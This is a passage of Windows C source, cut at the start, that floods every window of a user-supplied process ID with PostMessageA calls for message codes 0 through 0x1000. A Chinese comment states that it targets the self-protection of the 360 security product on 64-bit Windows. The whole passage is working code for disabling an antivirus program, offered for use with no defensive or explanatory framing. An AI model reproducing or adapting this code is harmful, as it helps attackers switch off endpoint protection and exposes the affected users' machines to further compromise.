hWnds[dwCount] = h; dwCount++; return 1; } VOID KillGuiProcess(DWORD dwProcessId) { DWORD pid=0; EnumWindows((WNDENUMPROC)EnumWnd, 0); for(UINT i=0;i<dwCount;i++) { GetWindowThreadProcessId(hWnds[i], &pid); if(pid==dwProcessId) { for(UINT j=0;j<0x1000;j++) PostMessageA(hWnds[i],j,0,0); } } } int main() { DWORD pid=0; printf("Input 360 PID: "); scanf("%ld",&pid); KillGuiProcess(pid); //特别声明:只对360在 Win64的自保护有效!!! return 0; } |